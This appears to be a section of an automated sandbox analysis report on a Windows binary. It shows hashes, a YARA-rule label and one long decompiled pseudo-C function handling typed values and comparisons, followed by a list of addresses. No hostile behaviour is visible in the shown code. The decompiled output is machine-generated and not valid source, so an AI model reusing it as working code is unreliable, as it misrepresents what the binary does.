Instruction Fuzzy Hash: 5F116670600B449FD320CF26C888B67B7F8EB40740F108A1EE4AA97A50D770EE45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEB1F0, Relevance: 3.3, APIs: 2, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00EEB1F0(void* __fp0, signed int _a4, void* _a8, void _a12) {
				void** _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				void** _v36;
				void* _v40;
				intOrPtr _v44;
				void** _v48;
				void* __edi;
				void* __esi;
				signed int _t352;
				intOrPtr _t354;
				void* _t358;
				void _t360;
				void _t362;
				intOrPtr _t363;
				intOrPtr* _t364;
				void* _t365;
				signed int _t366;
				signed int _t368;
				signed int _t375;
				signed int _t384;
				void* _t386;
				signed int _t387;
				void _t388;
				void* _t398;
				void* _t401;
				intOrPtr* _t402;
				signed int _t432;
				intOrPtr* _t434;
				intOrPtr* _t435;
				intOrPtr _t438;
				signed int _t439;
				intOrPtr* _t476;
				void* _t481;
				void* _t515;

				_t515 = __fp0;
				_t402 =  *((intOrPtr*)(_a8 + 4));
				_t477 = _a4;
				_t398 = 0;
				_v12 = 0;
				_t470 =  *_t402;
				_t438 =  *((intOrPtr*)( *_t402));
				if(_t438 == 0x22) {
					L1:
					_t352 = 1;
					if( *((intOrPtr*)(_t477 + 0xec)) == 1) {
						_t354 = E00F3E724(_t515, _t477, 0x81,  *((short*)(_t470 + 0xa)));
						L28:
						 *((char*)(_a4 + 0x144)) = 1;
						return _t354;
					}
					_v12 = 1;
					if( *((short*)( *((intOrPtr*)(_t402 + 4)) + 8)) == 0x7f) {
						L27:
						_t354 =  *((intOrPtr*)( *((intOrPtr*)(_a8 + 4)) + _t352 * 4));
						if( *((short*)(_t354 + 8)) != 0x7f) {
							_t354 = E00F3E724(_t515, _a4, 0x72,  *((short*)(_t354 + 0xa)));
						}
						goto L28;
					}
					_v48 = 0;
					_v36 = 0;
					_v40 = 1;
					_t358 = E00EEA9D0(_t477, _t515, _a8,  &_v12,  &_v48, 0xffffffff); // executed
					if(_t358 != 0) {
						_t354 = E00EE9190(_t470,  &_v48);
						goto L28;
					}
					_t360 =  *((intOrPtr*)( *_t477 + 4)) + _t477;
					_a12 = _t360;
					if( *((intOrPtr*)(_t360 + 0xd)) != _t398) {
						_t401 =  *( *(_t360 + 8) + 0x38);
					} else {
						_t401 =  *(_t360 + 8);
					}
					if(_t401 ==  &_v48) {
						L17:
						_t362 = _a12;
						_t363 =  *((intOrPtr*)(_t362 + 8));
						if( *((char*)(_t362 + 0xd)) != 0) {
							_t363 =  *((intOrPtr*)(_t363 + 0x38));
						}
						 *((char*)(_t363 + 0x10)) = 1;
						_t364 = _v36;
						if(_t364 != 0) {
							_t477 = _t364 + 0xc;
							_t476 = _t364;
							 *((intOrPtr*)( *_t477)) =  *((intOrPtr*)( *_t477)) - 1;
							if( *((intOrPtr*)( *_t477)) == 0) {
								_push( *_t476);
								E00EF10FC();
								_push( *_t477);
								E00EF10FC();
								_t481 = _t481 + 8;
							}
							_push(_t476);
							E00EF10FC();
							_t481 = _t481 + 4;
							_v36 = 0;
						}
						_t365 = _v40;
						if(_t365 == 8) {
							_t366 = _v48;
							__eflags = _t366;
							if(_t366 != 0) {
								__imp__#9(_t366);
								_push(_v48);
								E00EF10FC();
							}
						} else {
							if(_t365 == 0xa) {
								_t368 = _v48;
								__eflags = _t368;
								if(_t368 != 0) {
									E00F230B0(_t368);
								}
							} else {
								if(_t365 == 5) {
									E00EEE470( &_v48, _t477);
								} else {
									if(_t365 == 0xb) {
										_push(_v48[1]); // executed
										E00EF10FC(); // executed
										_push(_v48);
										E00EF10FC();
									} else {
										if(_t365 == 0xc) {
											_t375 = _v48;
											__eflags = _t375;
											if(_t375 != 0) {
												E00F2B350(_t375);
											}
										}
									}
								}
							}
						}
						_t352 = _v12;
						goto L27;
					} else {
						_t382 =  *(_t401 + 0xc);
						if( *(_t401 + 0xc) != 0) {
							E00F2651E(_t382);
							 *(_t401 + 0xc) = 0;
						}
						_t384 =  *(_t401 + 8);
						if(_t384 == 8) {
							_t432 =  *_t401;
							__eflags = _t432;
							if(__eflags == 0) {
								goto L9;
							}
							__imp__#9(_t432);
							_push( *_t401);
							E00EF10FC();
							_t481 = _t481 + 4;
							goto L13;
						} else {
							L9:
							if(_t384 == 0xa) {
								_t385 =  *_t401;
								__eflags =  *_t401;
								if(__eflags != 0) {
									E00F230B0(_t385);
								}
							} else {
								if(_t384 == 5) {
									E00EEE470(_t401, _t477);
								} else {
									if(_t384 == 0xb) {
										_push( *((intOrPtr*)( *_t401 + 4)));
										E00EF10FC();
										_push( *_t401);
										E00EF10FC();
										_t481 = _t481 + 8;
									} else {
										if(_t384 == 0xc) {
											_t395 =  *_t401;
											__eflags =  *_t401;
											if(__eflags != 0) {
												E00F2B350(_t395);
											}
										}
									}
								}
							}
							L13:
							 *(_t401 + 8) = 1;
							 *_t401 = 0;
							 *(_t401 + 8) = _v40;
							_t386 = _v40;
							_t503 = _t386 - 4;
							if(_t386 != 4) {
								_t387 = _t386 - 1;
								__eflags = _t387 - 0xb;
								if(__eflags > 0) {
									goto L17;
								}
								switch( *((intOrPtr*)(_t387 * 4 +  &M00F0D548))) {
									case 0:
										__eax = _v48;
										 *__ebx = __eax;
										goto L17;
									case 1:
										 *_t401 = _v48;
										 *((intOrPtr*)(_t401 + 4)) = _v44;
										goto L17;
									case 2:
										__fp0 = _v48;
										 *__ebx = __fp0;
										goto L17;
									case 3:
										goto L14;
									case 4:
										_push(0x214);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__esi = _v48;
											__ecx = 0x85;
											__edi = __eax;
											__eax = memcpy(__eax, __esi, 0x85 << 2);
											__esi + __ecx = __esi + __ecx + __ecx;
											__ecx = 0;
										}
										 *__ebx = __eax;
										__eflags =  *(__eax + 4);
										if( *(__eax + 4) != 0) {
											__eax =  *(__eax + 4);
											 *__eax =  *__eax + 1;
										}
										goto L17;
									case 5:
										__ecx = _v48;
										 *__ebx = _v48;
										goto L17;
									case 6:
										__eflags = _v48;
										if(__eflags != 0) {
											_push(0x10);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__esp = __esp + 4;
											_push(__eax);
											 *__ebx = __eax;
											__imp__#8();
											__edx = _v48;
											__eax =  *__ebx;
											_push(_v48);
											_push(__eax);
											__imp__#10();
											__eflags = __eax;
											if(__eax < 0) {
												__ecx =  *__ebx;
												_push( *__ebx);
												__imp__#9();
												__edx =  *__ebx;
												_push( *__ebx);
												__eax = E00EF10FC();
												__esp = __esp + 4;
												 *__ebx = 0;
											}
										}
										goto L17;
									case 7:
										__al = _v48;
										 *__ebx = _v48;
										goto L17;
									case 8:
										_push(0x18);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											goto L223;
										}
										__ecx = _v48;
										__eax = E00F2B82F(__eax, _v48);
										 *__ebx = __eax;
										goto L17;
									case 9:
										_push(8);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										 *__ebx = __eax;
										__edx = _v48;
										__ecx =  *_v48;
										 *__eax =  *_v48;
										__edx =  *__ebx;
										__eax =  *( *__ebx);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eflags == 0) {
											_push(1);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__ebx;
											 *( *__ebx + 4) = __eax;
											__edx =  *__ebx;
											__eax =  *( *__ebx + 4);
											__esp = __esp + 4;
											 *__eax = 0;
										} else {
											_push(__eax);
											__eax = E00EF14F7(__edi, __esi, __eflags);
											__ecx =  *__ebx;
											 *( *__ebx + 4) = __eax;
											__ebx =  *__ebx;
											__edx =  *__ebx;
											__eax = _v48;
											__ecx = _v48[1];
											__esp = __esp + 4;
											__edx =  *(__ebx + 4);
											__eax = E00EF0D80( *(__ebx + 4), _v48[1],  *__ebx);
										}
										goto L17;
									case 0xa:
										_push(0x14);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp = __esp + 4;
										__eflags = __eax;
										if(__eax == 0) {
											L223:
											__eax = 0;
											 *__ebx = 0;
											goto L17;
										}
										__ecx = _v48;
										__eax = E00F5082A(__eax, _v48);
										 *__ebx = __eax;
										goto L17;
								}
							}
							L14:
							_push(0x10);
							_t388 = E00EF14F7(_t470, _t477, _t503);
							_t481 = _t481 + 4;
							if(_t388 == 0) {
								_t388 = 0;
							} else {
								_t434 = _v36;
								 *_t388 =  *_t434;
								 *((intOrPtr*)(_t388 + 4)) =  *((intOrPtr*)(_t434 + 4));
								 *((intOrPtr*)(_t388 + 8)) =  *((intOrPtr*)(_t434 + 8));
								_t435 =  *((intOrPtr*)(_t434 + 0xc));
								 *((intOrPtr*)(_t388 + 0xc)) = _t435;
								 *_t435 =  *_t435 + 1;
							}
							 *(_t401 + 0xc) = _t388;
							goto L17;
						}
					}
				}
				_t439 = _t438 - 4;
				__eflags = _t439 - 0x26;
				if(__eflags > 0) {
					L193:
					return E00F3E724(_t515, _t477, 0x81, 0xffffffff);
				}
				switch( *((intOrPtr*)(_t439 * 4 +  &M00EEB5B4))) {
					case 0:
						__ecx = _a12;
						_push(_a12);
						_push(__eax);
						_push(__esi);
						return E00EECF20(__fp0);
						goto L241;
					case 1:
						goto L193;
					case 2:
						__edi = __esi + 0x16c;
						__eax = __edi;
						__edx =  *(E00EEEFD0(__edi) + 8);
						__eax = _a12;
						 *_a12 = __edx;
						return E00EEC9E0(__ebx, __ecx, __edi);
					case 3:
						__edi = __esi + 0x16c;
						return E00EEC9E0(__ebx, __ecx, __esi + 0x16c);
						goto L241;
					case 4:
						__ecx = _a12;
						return __eax;
						goto L241;
					case 5:
						__edx = _a12;
						return E00EEEE80(__ebx, __esi, __eflags, __fp0, _a12);
						goto L241;
					case 6:
						__eax = _a12;
						return E00EEEF00(_a12, __eflags, __esi);
						goto L241;
					case 7:
						__ecx = _a12;
						__eax = __esi;
						return E00EEEC10(__esi, __ebx, __fp0, __esi, _a12);
						goto L241;
					case 8:
						__edx = _a12;
						return __eax;
						goto L241;
					case 9:
						_t280 = _t477 + 0x16c;
						_v48 = 0;
						_v40 = 1;
						_v36 = 0;
						_a8 = _t280;
						__eflags =  *(_t280 + 9);
						if( *(_t280 + 9) != 0) {
							_t471 =  *((intOrPtr*)( *((intOrPtr*)(_t280 + 4)) + 0x30));
							_v16 = _t471;
						} else {
							_t471 =  *((intOrPtr*)(_t280 + 4));
							_v16 = _t471;
						}
						__eflags =  *((intOrPtr*)(_t471 + 0x28)) - 8;
						_t440 =  *((intOrPtr*)(_t471 + 0xc));
						_a4 =  *((intOrPtr*)(_t471 + 0xc));
						if( *((intOrPtr*)(_t471 + 0x28)) == 8) {
							_t403 =  &_v48;
							_t283 = E00F4B9C2(_t477, _a4, _t471 + 0x20,  &_v48);
							__eflags = _t283;
							if(_t283 != 0) {
								goto L76;
							}
							__eflags =  *((intOrPtr*)(_t471 + 0x28)) - 8;
							if( *((intOrPtr*)(_t471 + 0x28)) != 8) {
								goto L76;
							} else {
								E00EE90D0(_a4,  &_v48,  &_v48);
								 *_a12 =  *((intOrPtr*)(_t471 + 4)) + 1;
								_t398 = 0;
							}
						} else {
							__eflags =  *(_t471 + 0x18) - 5;
							if( *(_t471 + 0x18) == 5) {
								_v20 = _t471 + 0x10;
								_t299 = E00F123B2(_t471 + 0x10, 1);
								_t479 = _t471 + 0x20;
								_t403 = _t479;
								_v28 = _t299 - 1;
								_t301 = E00EEC8A0(_t479);
								__eflags = _t301 - _v28;
								if(_t301 >= _v28) {
									L76:
									E00EEC9E0(_t398, _t403, _a8);
									return E00EE9190(_a8,  &_v48);
								} else {
									_t473 = E00EEC8A0(_t479) + 1;
									E00EE9190(_t473, _t479);
									 *_t479 = _t473;
									_t474 = _v20;
									 *(_t479 + 8) = 1;
									E00F3E93E(_t479, _v20);
									_t410 = _t479;
									_t477 = E00EEC8A0(_t479);
									E00EED210(_v20, _t305);
									_t307 = E00EED150(_t479, _v20, 1, _t398);
									_t481 = _t481 + 8;
									__eflags = _t307;
									if(_t307 != 0) {
										_t309 = E00EED150(_t410, _t474, 0, 0);
										_t481 = _t481 + 8;
										E00EE90D0(_a4, _t410, _t309);
										_t398 = 0;
										__eflags = 0;
									}
									 *_a12 =  *((intOrPtr*)(_v16 + 4)) + 1;
								}
							} else {
								_t477 = _t471 + 0x20;
								E00EEB760(_t477, _t440, _t515, _t440);
								_t313 = _v36;
								__eflags = _t313 - _t398;
								if(_t313 != _t398) {
									E00F2651E(_t313);
									_v36 = _t398;
								}
								_t315 = _v40;
								__eflags = _t315 - 8;
								if(_t315 == 8) {
									_t316 = _v48;
									__eflags = _t316 - _t398;
									if(_t316 != _t398) {
										_push(_t316);
										__imp__#9();
										_push(_v48);
										E00EF10FC();
										_t481 = _t481 + 4;
									}
								} else {
									__eflags = _t315 - 0xa;
									if(_t315 == 0xa) {
										_t343 = _v48;
										__eflags = _t343 - _t398;
										if(_t343 != _t398) {
											E00F230B0(_t343);
										}
									} else {
										__eflags = _t315 - 5;
										if(_t315 == 5) {
											E00EEE470( &_v48, _t477);
										} else {
											__eflags = _t315 - 0xb;
											if(_t315 == 0xb) {
												_push(_v48[1]);
												E00EF10FC();
												_push(_v48);
												E00EF10FC();
												_t481 = _t481 + 8;
											} else {
												__eflags = _t315 - 0xc;
												if(_t315 == 0xc) {
													_t350 = _v48;
													__eflags = _t350 - _t398;
													if(_t350 != _t398) {
														E00F2B350(_t350);
													}
												}
											}
										}
									}
								}
								asm("fldz");
								_v40 = 3;
								_t516 = st0;
								asm("fst qword [ebp-0x2c]");
								_t317 =  *(_t477 + 8);
								_t413 =  *((intOrPtr*)((_t317 + _t317 * 2 << 4) + 0xf721f4));
								__eflags = _t413 - 3;
								if(_t413 != 3) {
									_t414 = _t413 - 1;
									st0 = _t516;
									st0 = _t516;
									__eflags = _t414 - 8;
									if(_t414 > 8) {
										goto L46;
									} else {
										switch( *((intOrPtr*)(_t414 * 4 +  &M00F0D468))) {
											case 0:
												__ecx = __esi;
												__eax = E00EEC8A0(__esi);
												__ecx =  &_v48;
												__esi = __eax;
												__eax = E00EEC8A0(__ecx);
												__eflags = __esi - __eax;
												if(__eflags < 0) {
													goto L93;
												} else {
													goto L46;
												}
												goto L53;
											case 1:
												__eax = E00F22F28(__esi);
												__ecx =  &_v48;
												_v32 = __eax;
												__esi = __edx;
												__eax = E00F22F28( &_v48);
												__eflags = __esi - __edx;
												if(__eflags < 0) {
													goto L93;
												} else {
													if(__eflags > 0) {
														goto L46;
													} else {
														__eflags = _v32 - __eax;
														if(__eflags < 0) {
															goto L93;
														} else {
															goto L46;
														}
													}
												}
												goto L53;
											case 2:
												goto L46;
											case 3:
												_t336 = E00F33360( &_v48);
												__eflags = E00F25AC9(E00F33360(_t477), _t336, _t398);
												if(__eflags >= 0) {
													goto L46;
												} else {
													goto L93;
												}
												goto L53;
											case 4:
												__eax = E00F2B323(__esi);
												__edx =  &_v48;
												__esi = __eax;
												__eax = E00F2B323( &_v48);
												__eflags = __esi - __eax;
												if(__eflags < 0) {
													goto L93;
												} else {
													goto L46;
												}
												goto L53;
										}
									}
								} else {
									__eflags = _t317 - 1;
									if(_t317 != 1) {
										_t317 = _t317 - 2;
										__eflags = _t317 - 8;
										if(_t317 > 8) {
											L120:
											asm("fxch st0, st1");
										} else {
											switch( *((intOrPtr*)(_t317 * 4 +  &M00F0D48C))) {
												case 0:
													st1 = __fp0;
													asm("fild qword [esi]");
													goto L45;
												case 1:
													st1 = _t516;
													goto L45;
												case 2:
													__eax =  *(__esi + 0xc);
													st0 = __fp0;
													__eax =  *( *(__esi + 0xc));
													st0 = __fp0;
													__eflags =  *__eax - 0x30;
													if( *__eax != 0x30) {
														L110:
														__eax = E00EF3B0D(__eax);
													} else {
														__ecx =  *(__eax + 2) & 0x0000ffff;
														__eflags = __ecx - 0x78;
														if(__eflags == 0) {
															L109:
															__ecx =  &_v32;
															__eax = E00F12CA4(__eflags, __eax,  &_v32, 8);
															asm("fild qword [ebp-0x1c]");
															__esp = __esp + 0xc;
														} else {
															__eflags = __ecx - 0x58;
															if(__eflags != 0) {
																goto L110;
															} else {
																goto L109;
															}
														}
													}
													__eax = _v40;
													asm("fst qword [ebp-0x1c]");
													__eflags = __eax - 3;
													if(__eax == 3) {
														__fp0 = _v48;
														asm("fxch st0, st1");
													} else {
														__eax = __eax - 1;
														__eflags = __eax - 9;
														if(__eax > 9) {
															goto L133;
														} else {
															switch( *((intOrPtr*)(__eax * 4 +  &M00F0D4B0))) {
																case 0:
																	goto L114;
																case 1:
																	goto L130;
																case 2:
																	goto L133;
																case 3:
																	goto L125;
																case 4:
																	goto L132;
																case 5:
																	goto L131;
															}
														}
													}
													goto L45;
												case 3:
													goto L120;
												case 4:
													__eflags =  *__esi - __bl;
													if( *__esi == __bl) {
														goto L120;
													} else {
														st1 = __fp0;
														asm("fld1");
													}
													goto L45;
												case 5:
													__edx =  *__esi;
													st1 = __fp0;
													asm("fild dword [edx+0x4]");
													goto L45;
												case 6:
													L114:
													asm("fild dword [ebp-0x2c]");
													asm("fxch st0, st1");
													goto L45;
												case 7:
													L130:
													asm("fild qword [ebp-0x2c]");
													asm("fxch st0, st1");
													goto L45;
												case 8:
													L133:
													asm("fldz");
													asm("fxch st0, st1");
													goto L45;
												case 9:
													L125:
													__eax = _v36;
													st0 = __fp0;
													__eax =  *_v36;
													__eflags =  *__eax - 0x30;
													if( *__eax != 0x30) {
														L129:
														__eax = E00EF3B0D(__eax);
														__fp0 = _v32;
													} else {
														__ecx =  *(__eax + 2) & 0x0000ffff;
														__eflags = __ecx - 0x78;
														if(__eflags == 0) {
															L128:
															__ecx =  &_v24;
															__eax = __eax + 4;
															__eax = E00F12CA4(__eflags, __eax,  &_v24, 8);
															asm("fild qword [ebp-0x14]");
															__fp0 = _v32;
															__esp = __esp + 0xc;
														} else {
															__eflags = __ecx - 0x58;
															if(__eflags != 0) {
																goto L129;
															} else {
																goto L128;
															}
														}
													}
													goto L45;
												case 0xa:
													L132:
													__eflags = _v48 - __bl;
													if(_v48 != __bl) {
														asm("fld1");
														goto L120;
													} else {
														goto L133;
													}
													goto L45;
												case 0xb:
													L131:
													__edx = _v48;
													asm("fild dword [edx+0x4]");
													asm("fxch st0, st1");
													goto L45;
											}
										}
									} else {
										st1 = _t516;
										asm("fild dword [esi]");
									}
									L45:
									asm("fcompp");
									asm("fnstsw ax");
									__eflags = _t317 & 0x00000005;
									if(__eflags != 0) {
										L93:
										_t418 = _a4;
										_t340 = E00F46DA9(__eflags, _a4, _t471 + 0x10);
										_t481 = _t481 + 8;
										__eflags = _t340;
										if(_t340 == 0) {
											goto L62;
										} else {
											 *_a12 =  *((intOrPtr*)(_t471 + 4)) + 1;
										}
									} else {
										L46:
										_t318 =  *(_t471 + 0x18);
										_t477 = _t471 + 0x10;
										_t417 =  *((intOrPtr*)(0xf721e8 + ( *((intOrPtr*)(_a4 + 8)) + (_t318 + _t318 * 2) * 4) * 4));
										__eflags = _t417 - 1;
										if(_t417 != 1) {
											_t418 = _t417 - 2;
											__eflags = _t418 - 7;
											if(_t418 > 7) {
												goto L52;
											} else {
												switch( *((intOrPtr*)(_t418 * 4 +  &M00F0D4D8))) {
													case 0:
														_v32 = E00F22F28(__esi);
														__eax = _a4;
														__esi = __edx;
														__eax = E00F22F28(_a4);
														__eflags = __esi - __edx;
														if(__eflags < 0) {
															goto L62;
														} else {
															if(__eflags > 0) {
																goto L52;
															} else {
																__eflags = _v32 - __eax;
																if(_v32 < __eax) {
																	goto L62;
																} else {
																	goto L52;
																}
															}
														}
														goto L53;
													case 1:
														__ecx = __esi;
														__eax = E00EEBCF0(__esi);
														_v32 = __fp0;
														__ecx = _a4;
														__eax = E00EEBCF0(__ecx);
														asm("fcomp qword [ebp-0x1c]");
														asm("fnstsw ax");
														__eflags = __ah & 0x00000041;
														if((__ah & 0x00000041) == 0) {
															goto L62;
														} else {
															goto L52;
														}
														goto L53;
													case 2:
														_t320 = E00F33360(_a4);
														_t322 = E00F25AC9(E00F33360(_t477), _t320, _t398);
														__eflags = _t322;
														if(_t322 < 0) {
															goto L62;
														} else {
															goto L52;
														}
														goto L53;
													case 3:
														goto L52;
													case 4:
														__eax = E00F2B323(__esi);
														__ecx = _a4;
														__esi = __eax;
														__eax = E00F2B323(_a4);
														__eflags = __esi - __eax;
														if(__esi < __eax) {
															goto L62;
														} else {
															goto L52;
														}
														goto L53;
													case 5:
														goto L47;
												}
											}
										} else {
											L47:
											__eflags = _t318 - 1;
											if(_t318 != 1) {
												_t324 = _t318 - 2;
												__eflags = _t324 - 9;
												if(_t324 > 9) {
													L155:
													_t477 = 0;
													goto L49;
												} else {
													switch( *((intOrPtr*)(_t324 * 4 +  &M00F0D4F8))) {
														case 0:
															goto L48;
														case 1:
															__fp0 =  *__esi;
															__eax = E00F059A0(__eax,  *__esi);
															__esi = __eax;
															goto L49;
														case 2:
															_t331 =  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0xc))));
															__eflags =  *_t331 - 0x30;
															if( *_t331 != 0x30) {
																L149:
																_push(_t331);
																_t332 = E00EF30B0();
																_t481 = _t481 + 4;
																_t477 = _t332;
																goto L49;
															} else {
																_t419 =  *(_t331 + 2) & 0x0000ffff;
																__eflags = _t419 - 0x78;
																if(__eflags == 0) {
																	L148:
																	E00F12CA4(__eflags, _t331 + 4,  &_v32, 8);
																	_t477 = _v32;
																	_t481 = _t481 + 0xc;
																	goto L49;
																} else {
																	__eflags = _t419 - 0x58;
																	if(__eflags != 0) {
																		goto L149;
																	} else {
																		goto L148;
																	}
																}
															}
															goto L53;
														case 3:
															goto L155;
														case 4:
															__edx = 0;
															__eflags =  *__esi - __dl;
															__edx = 0 | __eflags != 0x00000000;
															__esi = __eflags != 0;
															goto L49;
														case 5:
															__eax =  *__esi;
															__esi =  *(__eax + 4);
															goto L49;
														case 6:
															__esi =  *__esi;
															__eflags =  *__esi - 4;
															if( *__esi > 4) {
																goto L155;
															} else {
																__edx =  *__esi;
																__eax =  *(__esi + 4);
																__ecx =  &_v32;
																__eax = E00F12BA5( *(__esi + 4),  *__esi,  &_v32);
																__esi = _v32;
																goto L49;
															}
															goto L53;
													}
												}
												goto L53;
											} else {
												L48:
												_t477 =  *_t477;
											}
											L49:
											_t418 = _a4;
											_t325 =  *((intOrPtr*)(_t418 + 8));
											__eflags = _t325 - 1;
											if(_t325 != 1) {
												_t326 = _t325 - 2;
												__eflags = _t326 - 9;
												if(_t326 > 9) {
													L168:
													_t327 = 0;
												} else {
													switch( *((intOrPtr*)(_t326 * 4 +  &M00F0D520))) {
														case 0:
															goto L50;
														case 1:
															__fp0 =  *__ecx;
															__eax = E00F059A0(__eax,  *__ecx);
															goto L51;
														case 2:
															_t328 =  *_t418;
															__eflags =  *_t328 - 0x30;
															if( *_t328 != 0x30) {
																L162:
																_push(_t328);
																_t327 = E00EF30B0();
																_t481 = _t481 + 4;
															} else {
																_t418 =  *(_t328 + 2) & 0x0000ffff;
																__eflags = _t418 - 0x78;
																if(__eflags == 0) {
																	L161:
																	E00F12CA4(__eflags, _t328 + 4,  &_v32, 8);
																	_t327 = _v32;
																	_t481 = _t481 + 0xc;
																} else {
																	__eflags = _t418 - 0x58;
																	if(__eflags != 0) {
																		goto L162;
																	} else {
																		goto L161;
																	}
																}
															}
															goto L51;
														case 3:
															goto L168;
														case 4:
															__eax = 0;
															__eflags =  *__ecx - __al;
															__eax = 0 |  *__ecx != __al;
															goto L51;
														case 5:
															__eax =  *__ecx;
															__eax =  *( *__ecx + 4);
															goto L51;
														case 6:
															__ecx =  *__ecx;
															__eflags =  *__ecx - 4;
															if( *__ecx > 4) {
																goto L168;
															} else {
																__eax =  *__ecx;
																__ecx =  *(__ecx + 4);
																__edx =  &_v32;
																__eax = E00F12BA5(__ecx, __eax,  &_v32);
																__eax = _v32;
															}
															goto L51;
													}
												}
											} else {
												L50:
												_t327 =  *_t418;
											}
											L51:
											__eflags = _t477 - _t327;
											if(_t477 < _t327) {
												L62:
												E00EEC9E0(_t398, _t418, _a8);
											} else {
												L52:
												_t451 =  *((intOrPtr*)(_t471 + 4)) + 1;
												__eflags = _t451;
												 *_a12 = _t451;
											}
										}
									}
								}
							}
						}
						L53:
						_t406 = _v36;
						_t288 = _v40;
						__eflags = _t406 - _t398;
						if(_t406 != _t398) {
							E00F2651E(_t406);
							_t288 = _v40;
							_v36 = _t398;
						}
						__eflags = _t288 - 8;
						if(_t288 == 8) {
							_t288 = _v48;
							__eflags = _t288 - _t398;
							if(_t288 != _t398) {
								_push(_t288);
								__imp__#9();
								_push(_v48);
								return E00EF10FC();
							}
						} else {
							__eflags = _t288 - 0xa;
							if(_t288 == 0xa) {
								_t288 = _v48;
								__eflags = _t288 - _t398;
								if(_t288 != _t398) {
									return E00F230B0(_t288);
								}
							} else {
								__eflags = _t288 - 5;
								if(_t288 == 5) {
									return E00EEE470( &_v48, _t477);
								}
								__eflags = _t288 - 0xb;
								if(_t288 == 0xb) {
									_push(_v48[1]);
									E00EF10FC();
									_push(_v48);
									return E00EF10FC();
								}
								__eflags = _t288 - 0xc;
								if(_t288 == 0xc) {
									_t288 = _v48;
									__eflags = _t288 - _t398;
									if(_t288 != _t398) {
										return E00F2B350(_t288);
									}
								}
							}
						}
						return _t288;
						goto L241;
					case 0xa:
						__ecx = _a12;
						return __eax;
					case 0xb:
						__edx = _a12;
						return __eax;
					case 0xc:
						__edx = _a12;
						_push(_a12);
						_push(__esi);
						return L00F5F646(__eflags, __fp0);
					case 0xd:
						__eax = __esi + 0x16c;
						__eax = E00EEEFD0(__esi + 0x16c);
						__eax =  *(__eax + 8);
						__ecx = _a12;
						 *_a12 = __eax;
						return __eax;
					case 0xe:
						__edx = _a12;
						return __eax;
					case 0xf:
						__ecx = _a12;
						__edx =  &_v12;
						return __eax;
					case 0x10:
						__ecx =  &_v12;
						return __eax;
					case 0x11:
						__edx =  &_v12;
						return __eax;
					case 0x12:
						__ecx =  &_v12;
						return __eax;
					case 0x13:
						__edx =  &_v12;
						return __eax;
					case 0x14:
						__edx =  &_v12;
						return __eax;
					case 0x15:
						__ecx =  &_v12;
						return __eax;
					case 0x16:
						__edx =  &_a4;
						_v12 = 1;
						__ecx =  *(__ecx + 4);
						__eax =  &_a8;
						__edx =  &_v28;
						__edx =  *__ecx;
						 &_v20 =  *__edx;
						__eax = E00F44D61(__ecx, __edx, __eflags, __esi,  *__edx,  &_v20,  &_v28,  &_a8,  &_a4);
						__ecx = _a4;
						__edx = _a12;
						__ecx = _a4 + 1;
						 *_a12 = _a4 + 1;
						return __eax;
					case 0x17:
						 *((char*)(__esi + 0x144)) = 1;
						return __eax;
					case 0x18:
						goto L1;
					case 0x19:
						__edi = _a8;
						__eax =  &_v12;
						__ebx = __esi;
						return E00EF0010( &_v12, __esi, _a8, __fp0);
						L241:
					case 0x1a:
						__ecx =  &_v12;
						return __eax;
					case 0x1b:
						__edx =  &_v12;
						return __eax;
					case 0x1c:
						__ecx =  &_v12;
						return __eax;
				}
			}

0x00eeb1f0
0x00eeb1f9
0x00eeb1fe
0x00eeb201
0x00eeb203
0x00eeb207
0x00eeb209
0x00eeb20e
0x00eeb214
0x00eeb214
0x00eeb21f
0x00f0d179
0x00eeb393
0x00eeb396
0x00000000
0x00eeb396
0x00eeb225
0x00eeb230
0x00eeb37f
0x00eeb385
0x00eeb38d
0x00f0d45c
0x00f0d45c
0x00000000
0x00eeb38d
0x00eeb240
0x00eeb243
0x00eeb24e
0x00eeb255
0x00eeb25c
0x00f0d186
0x00000000
0x00f0d186
0x00eeb267
0x00eeb269
0x00eeb26f
0x00f0d193
0x00eeb275
0x00eeb275
0x00eeb275
0x00eeb27d
0x00eeb30d
0x00eeb30d
0x00eeb314
0x00eeb317
0x00f0d3b2
0x00f0d3b2
0x00eeb31d
0x00eeb321
0x00eeb326
0x00eeb328
0x00eeb32b
0x00eeb32f
0x00eeb336
0x00f0d3bc
0x00f0d3bd
0x00f0d3c7
0x00f0d3c8
0x00f0d3cd
0x00f0d3cd
0x00eeb33c
0x00eeb33d
0x00eeb342
0x00eeb345
0x00eeb345
0x00eeb34c
0x00eeb352
0x00f0d3d5
0x00f0d3d8
0x00f0d3da
0x00f0d3e1
0x00f0d3ea
0x00f0d3eb
0x00f0d3f0
0x00eeb358
0x00eeb35b
0x00f0d3f8
0x00f0d3fb
0x00f0d3fd
0x00f0d404
0x00f0d404
0x00eeb361
0x00eeb364
0x00f0d411
0x00eeb36a
0x00eeb36d
0x00f0d421
0x00f0d422
0x00f0d42d
0x00f0d42e
0x00eeb373
0x00eeb376
0x00f0d43b
0x00f0d43e
0x00f0d440
0x00f0d447
0x00f0d447
0x00f0d440
0x00eeb376
0x00eeb36d
0x00eeb364
0x00eeb35b
0x00eeb37c
0x00000000
0x00eeb283
0x00eeb283
0x00eeb288
0x00f0d19c
0x00f0d1a1
0x00f0d1a1
0x00eeb28e
0x00eeb294
0x00f0d1ad
0x00f0d1af
0x00f0d1b1
0x00000000
0x00000000
0x00f0d1b8
0x00f0d1c0
0x00f0d1c1
0x00f0d1c6
0x00000000
0x00eeb29a
0x00eeb29a
0x00eeb29d
0x00f0d1ce
0x00f0d1d0
0x00f0d1d2
0x00f0d1d9
0x00f0d1d9
0x00eeb2a3
0x00eeb2a6
0x00f0d1e5
0x00eeb2ac
0x00eeb2af
0x00f0d1f4
0x00f0d1f5
0x00f0d1ff
0x00f0d200
0x00f0d205
0x00eeb2b5
